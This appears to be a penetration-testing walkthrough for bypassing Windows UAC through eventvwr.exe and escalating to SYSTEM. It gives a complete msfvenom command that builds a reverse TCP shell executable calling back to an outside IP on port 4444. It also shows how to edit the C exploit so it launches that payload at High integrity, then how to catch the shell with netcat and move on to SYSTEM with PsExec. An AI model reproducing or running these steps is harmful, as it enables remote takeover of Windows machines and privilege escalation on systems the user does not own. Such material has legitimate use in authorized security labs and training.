Bypassing default UAC settings manually c++

Go here:

msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=172.50.50.50 LPORT=4444-f exe -o reverse_4444.exe

A writeup of how the exploit works is found here with a Powershell script, but in the comments, someone posted a C version. I tested it confirm the C exploit works so let’s run through that. This exploit works on Windows 7, 8 and 10. Before using the exploit, it helps to ensure that eventvwr.exe exists and is set to autoelevate to High integrity.

For the above, I used strings.exe by Sysinternals which is the same as the Linux tool. The page even says this program is backwards compatible with Win 95. Amazing. As always, pardon the square brackets.

Now just need to change these lines in the exploit

1234

/*GetCurrentDirectory(MAX_PATH, curPath);strcat(curPath, "\\foobar.exe");*/

Specifically uncomment them and and change foobar.exe to the name of whatever program payload we want to run at High integrity. The exploit needs to be in the same folder as the payload. In this case it’ll be

12

GetCurrentDirectory(MAX_PATH, curPath);strcat(curPath, "\\reverse_4444.exe");

Now we need to compile it for the appropriate OS architecture. The target system is x64 Windows, so we need MinGW on Kali to compile it

Now just set up our netcat listener and run the compiled exploit.

At netcat listener

Wow, see the difference? Suddenly a whole host of other privileges appear though we are still the same admin. This is a High integrity shell. Now PsExec will work.

At listener

Great. We now have SYSTEM. Now if you get errors about PSEXEC service, run tasklist and see if you can taskkill whatever PSEXEC service is running. Otherwise it should work.

eventvwr-bypassuac.c

Last updated

Was this helpful?